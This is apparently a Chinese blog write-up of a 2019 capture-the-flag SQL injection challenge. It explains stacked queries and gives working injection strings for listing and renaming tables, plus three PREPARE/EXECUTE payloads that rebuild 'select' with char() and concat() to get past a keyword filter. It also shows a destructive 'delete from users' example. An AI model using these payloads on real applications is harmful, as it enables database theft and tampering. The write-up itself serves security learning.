[强网杯 2019] 随便注

# 0x01 堆叠注入学习 (堆叠查询,Stacked Queries)

堆叠注入为攻击者提供了很多控制权,与仅限于 SELECT 语句的 UNION 联合查询攻击不同,堆叠注入可以用于执行任何 SQL 语句。

# 堆叠注入原理

在 sql 中,分号表示一条语句的结束。如果在分号的后面再加一条语句,这条语句也可以被执行,继续加一个分号和一条语句,这样就可以在一次数据库的调用中执行多个语句。

# 举个堆叠注入攻击的例子

执行查询时,第一个语句执行信息查询,第二个语句则将表 user 的所有内容给删除了。

mysql> select * from users where id =1;delete from users;
# 堆叠注入的局限性

堆叠注入并不是在每种情况下都能使用的。大多数时候,因为 API 或数据库引擎的不支持,堆叠注入都无法实现。

# 0x02 重命名 堆叠注入

输入 1'show databses;# 可以堆叠注入出所有数据库。

输入 1' show tables;# 可以注入当前数据库的表

输入 1';desc words;#

输入 1';desc `1919810931114514`;#

发现 flag 在 1919810931114514 表中。

而正常查询是在 words 表中,那么我们改一下表名,让程序从 1919810931114514 这个表查询,再配合 or 1=1, 就能获取到 flag

先把 flag 表里的字段 flag 改成 id

alter table `1919810931114514` change flag id char(100)

再修改表名为 words

1';RENAME TABLE words TO words2;RENAME TABLE `1919810931114514` TO words;#

一定要注意顺序,先改字段名,然后改表名!或者就一条命令,拼合执行



0';rename table words to words1;rename table `1919810931114514` to words;alter table words change flag id varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;desc  words;#


不然的话就会出下面报错,无法继续测试了,只能重新恢复环境。。

# 0x03 预处理

PREPARE name from ’sql语句';  //预定义SQL语句
EXECUTE name; //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE name; //删除预定义SQL    语句
SET @tn = 'hahaha'; //存储表名
SET @sql = concat('select * from ', @tn); //存储SQL语句
PREPARE name from @sql;  //预定义SQL语句
EXECUTE name; //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE sqla; //删除预定义SQL语句

本题即可利用 char () 函数将 select 的 ASCII 码转换为 select 字符串,接着利用 concat () 函数进行拼接得到 select 查询语句,从而绕过过滤。或者直接用 concat () 函数拼接 select 来绕过。

char(115,101,108,101,99,116)<----->'select'

# payload1:不使用变量
1';PREPARE hacker from concat(char(115,101,108,101,99,116), ' * from `1919810931114514` ');EXECUTE hacker;#
# payload2:使用变量
1';SET @sqli=concat(char(115,101,108,101,99,116),'* from `1919810931114514`');PREPARE hacker from @sqli;EXECUTE hacker;#
# payload3:只是用 contact (), 不使用 char ()
1';prepare hacksql from concat('se','lect * from `1919810931114514`');execute hacksql;#

预处理 + 堆叠注入,绕过关键字查询

更新于 阅读次数

请我喝[茶]~( ̄▽ ̄)~*

zeroc 微信支付

微信支付

zeroc 支付宝

支付宝

zeroc 贝宝

贝宝